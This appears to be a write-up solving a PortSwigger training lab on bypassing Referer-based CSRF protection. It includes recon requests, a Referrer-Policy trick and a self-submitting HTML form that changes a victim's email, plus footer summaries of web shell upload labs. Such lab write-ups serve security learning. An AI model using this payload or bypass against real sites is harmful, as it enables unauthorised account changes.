On this page
CSRF with Broken Referer Validation
Lab
CSRF with broken Referer validation · Practitioner
Solution
Given
This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
Analyzing the task
We need to change the user's email by exploiting a CSRF vulnerability. There is a protection based on Referer analysis, and we need to bypass it.
Useful theory from PortSwigger
Variants of "naive" Referer-based protection:
- They only check the start of the URL for certain values.
- They just check that the
Referercontains the site's domain.
The first variant is bypassed by creating a subdomain with the target site's name on your own server. The second — by including the domain anywhere in the URL, e.g. in the query string: http://attacker.com/?vul-site.com.
However, the second method won't work without Referrer-Policy: unsafe-url, because browsers now have default policies that strip the Referer (drop the query string).
I think for this lab it'll be variant 2 — something tells me PortSwigger didn't bother with the subdomain trick, but we'll see.
Recon
The route we already know — POST /my-account/change-email. Sent:
Referer: https://0acd006e047305c382a4a606007d003c.web-security-academy.net/my-account?id=wiener
OK, we send the request to Repeater and set Referer:
Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit
Response — 400 Invalid referer header.
Let's just add Host to our Referer as a query string:
?0acd006e047305c382a4a606007d003c.web-security-academy.net
Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit?0acd006e047305c382a4a606007d003c.web-security-academy.net
Works in Burp, but remember Referrer-Policy: unsafe-url — needed for this to work in the victim's browser.
Final payload
- Add the lab server's Host into the URL.
- Set the
Referrer-Policy: unsafe-urlheader. - Submit the change-email form.
We'll base the payload on the previous lab's. And don't forget to add Referrer-Policy: unsafe-url on the exploit server and name the page something like /exploit?p=0acd006e047305c382a4a606007d003c.web-security-academy.net, so the Host name is included.
<form class="login-form" name="change-email-form"
action="https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hhh@p.com">
<button class="button" type="submit">Update email</button>
</form>
<script>
document.forms[0].submit()
</script>
On me the payload works, but PortSwigger doesn't accept it. But in the access logs I see that for some reason, when the victim navigates, she gets a 404 back.
Let me try passing Host not in the query string but as part of the URL itself: /exploit/0a5600910423b30f803c767000df00fd.web-security-academy.net.
Lab solved!
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.